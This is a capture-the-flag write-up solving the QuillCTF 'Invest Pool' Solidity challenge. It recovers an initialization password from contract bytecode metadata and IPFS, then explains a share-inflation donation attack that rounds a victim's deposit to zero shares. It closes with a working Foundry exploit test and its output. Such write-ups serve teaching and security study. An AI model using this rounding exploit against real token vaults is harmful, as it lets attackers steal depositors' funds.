Invest Pool is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, there are 2 contract and one foundry setUp file. Contract is not deployed on any testnet.
Objective of CTF is
Your objective is to have a greater token balance than your initial balance.
So somehow we need steal some tokens from contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
contract PoolToken is ERC20("loan token", "lnt"), Ownable {
function mint(uint amount) external onlyOwner {
_mint(msg.sender, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract InvestPool {
IERC20 token;
uint totalShares;
bool initialized;
mapping(address => uint) public balance;
modifier onlyInitializing() {
require(initialized, "Not initialized! You are so stupid!");
_;
}
constructor(address _token) {
token = IERC20(_token);
}
function initialize(string memory password) external {
// Password could be found in Goerli contract
// 0xA45aC53E355161f33fB00d3c9485C77be3c808ae
// Hint: Password length is more than 30 chars
require(!initialized, "Already initialized");
require(
keccak256(abi.encode(password)) ==
0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd,
"Wrong password"
);
initialized = true;
}
function deposit(uint amount) external onlyInitializing {
uint userShares = tokenToShares(amount);
balance[msg.sender] += userShares;
totalShares += userShares;
token.transferFrom(msg.sender, address(this), amount);
}
function tokenToShares(uint userAmount) public view returns (uint) {
uint tokenBalance = token.balanceOf(address(this));
if (tokenBalance == 0) return userAmount;
return (userAmount * totalShares) / tokenBalance;
}
function sharesToToken(uint amount) public view returns (uint) {
uint tokenBalance = token.balanceOf(address(this));
return (amount * tokenBalance) / totalShares;
}
function transferFromShare(uint amount, address from) public {
uint size;
assembly {
size := extcodesize(address())
}
require(size == 0, "code size is not 0");
require(balance[from] >= amount, "amount is too big");
balance[from] -= amount;
balance[msg.sender] += amount;
}
function withdrawAll() external onlyInitializing {
uint shares = balance[msg.sender];
uint toWithdraw = sharesToToken(shares);
balance[msg.sender] = 0;
totalShares -= shares;
token.transfer(msg.sender, toWithdraw);
}
}
If we take a look to the InvestPool
contract it can be seen that to call deposit
and withdrawAll
functions we need to set initialized
flag to true
and it can be done with initialize
function. However that function is expecting a password which should satisfy the requirement keccak256(abi.encode(password)) == 0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd
. So we need to find a valid password
for that. On the initialize
function there is a hint which says
// Password could be found in Goerli contract
// 0xA45aC53E355161f33fB00d3c9485C77be3c808ae
// Hint: Password length is more than 30 chars
So we can find the valid password from that contract. deployed contract is not verified. However we can decompile the contract to see the content of that. We can use this decompiler. If we take a look to the decompiled contract
// Decompiled by library.dedaub.com
// 2023.04.11 13:00 UTC
// Compiled using the solidity compiler version 0.6.11
// Data structures and variables inferred from the use of storage instructions
uint256 _a; // STORAGE[0x0]
uint256 _b; // STORAGE[0x1]
uint256 stor_2; // STORAGE[0x2]
function () public payable {
revert();
}
function a() public payable {
return _a;
}
function b() public payable {
return _b;
}
function 0xcc8e2394() public payable {
return stor_2;
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0xdbe671f == function_selector >> 224) {
a();
} else if (0x4df7e3d0 == function_selector >> 224) {
b();
} else if (0xcc8e2394 == function_selector >> 224) {
0xcc8e2394();
}
}
();
}
We can see there is a function which has a signature 0xcc8e2394
which is equal to getPassword()
. So if we take a look to the initial transaction of that contract from ethercan we can see the value of getPassword()
is 0x05. So it can't be the actual password we are looking for because hint says Password length is more than 30 chars
. If we take a look to the contract bytecode deeply we can see that there is a signature for ipfs
keyword. Encoding of the Metadata Hash in Bytecode page explains the details. So we know that creator sent the metadata hash with bytecode. According to the page its CBOR-encoded and it starts with 0xa264 then there is ipfs
word which is equal to 69 70 66 73
so after that there i also 0x58
and 0x22
. 0x22
stands for the length of ipfs which is also written in the documentation. So after those bytes if we read 34 byte we can retrieve the ipfs hash
. We can write a small python script to retrieve ipfs hash
.
import base58
import requests
bytecode = "0x6080604052348015600f57600080fd5b5060043610603c5760003560e01c80630dbe671f1460415780634df7e3d014605b578063cc8e2394146075575b600080fd5b6047608f565b6040516052919060b8565b60405180910390f35b60616095565b604051606c919060b8565b60405180910390f35b607b609b565b6040516086919060b8565b60405180910390f35b60005481565b60015481565b60025481565b6000819050919050565b60b28160a1565b82525050565b600060208201905060cb600083018460ab565b9291505056fea264697066735822122054c3e28cded5e23f5b3ee244c86c623b672d772b268fdc5e76e4fe131e690bea64736f6c634300060b0033"
ipfs_prefix = "a264697066735822"
ipfs_prefix_index = bytecode.find(ipfs_prefix)
if ipfs_prefix_index != -1:
ipfs_hash_bytes_start = ipfs_prefix_index + len(ipfs_prefix)
ipfs_hash_bytes_end = ipfs_hash_bytes_start + 68
ipfs_hash_bytes = bytecode[ipfs_hash_bytes_start:ipfs_hash_bytes_end]
print("IPFS Hash Bytes:", ipfs_hash_bytes)
# Convert to Multihash
multihash = base58.b58encode(bytes.fromhex(ipfs_hash_bytes)).decode("utf-8")
print("IPFS Multihash:", multihash)
password = requests.get('https://ipfs.io/ipfs/'+str(multihash)).content.decode('utf-8').replace('\n','')
print('Password: ', password)
else:
print("IPFS prefix not found")
If we run this script, we can get the password
> python helper.py
IPFS Hash Bytes: 122054c3e28cded5e23f5b3ee244c86c623b672d772b268fdc5e76e4fe131e690bea
IPFS Multihash: QmU3YCRfRZ1bxDNnxB4LVNCUWLs26wVaqPoQSQ6RH2u86V
Password: j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx
So now we have the valid password to call initialize
function and make initialized
parameter true
. So now since we can call the deposit
and withdrawAll
functions we can find a vulnerability to steal money. When we call deposit
it calls the tokenToShares
function and adds totalShares
and also the balances
variables according to the return value of tokenToShares
function. However it is using tokenBalance
to do the calculation. So it means we can increase the tokenBalance
parameter with transfering tokens directly to the contract. With the help of this we will only increase the tokenBalance
and totalShares
will stay same. To break this we can do following
- Deposit 5 tokens with deposit function as hacker
- Now
totalShares
will be 5,balance[hacker]
will be 5 and alsotokenBalance
will be 5 - We can transfer 16 tokens with
token.transfer(address(pool), 16);
- Now
totalShares
is 5,balance[hacker]
is again 5 but nowtokenBalance
is 21. - So if any user deposits less than 5 token their shares won't be updated due to divison on
tokenToShares
- User deposits 4 token, it will call
tokenToShares
asuserAmount
is 4, it will return(userAmount * totalShares) / tokenBalance
which will be(4*5)/21
=20/21
and which will equal to0
. - If hacker calls
withdrawAll
function it will callsharesToToken
withshares
as a 5, it will return(amount * tokenBalance) / totalShares
which will be(5*25/5)
= 25 and it will transfer that amount to hacker - Eventually hacker will have 25 tokens, however hacker only sent 21 tokens to the pool.
POC
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "forge-std/Test.sol";
import "../src/poolToken.sol";
import "../src/investPool.sol";
contract Hack is Test {
PoolToken token;
InvestPool pool;
address user = vm.addr(1);
address hacker = vm.addr(2);
function setUp() external {
token = new PoolToken();
pool = new InvestPool(address(token));
token.mint(2000e18);
token.transfer(user, 1000e18);
token.transfer(hacker, 1000e18);
vm.prank(user);
token.approve(address(pool), type(uint).max);
vm.prank(hacker);
vm.deal(hacker, 1 ether);
token.approve(address(pool), type(uint).max);
}
function userDeposit(uint amount) public {
vm.prank(user);
pool.deposit(amount);
vm.stopPrank();
}
function test_hack() public {
uint hackerBalanceBeforeHack = token.balanceOf(hacker);
vm.startPrank(hacker);
string memory pass = 'j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx';
console.logBytes32(keccak256(abi.encode(pass)));
pool.initialize(pass);
pool.deposit(5);
token.transfer(address(pool), 16);
vm.stopPrank();
userDeposit(4);
vm.startPrank(hacker);
pool.withdrawAll();
vm.stopPrank();
console.log("Initial hacker balance: ", hackerBalanceBeforeHack);
console.log("Hacker balance after attack: ", token.balanceOf(hacker));
assertGt(token.balanceOf(hacker), hackerBalanceBeforeHack);
}
}
> forge test -vv
[⠆] Compiling...
[⠑] Compiling 1 files with 0.8.7
[⠢] Solc 0.8.7 finished in 4.74s
Compiler run successful
Running 1 test for test/InvestPool.t.sol:Hack
[PASS] test_hack() (gas: 123524)
Logs:
0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd
Initial hacker balance: 1000000000000000000000
Hacker balance after attack: 1000000000000000000004
Test result: ok. 1 passed; 0 failed; finished in 2.68ms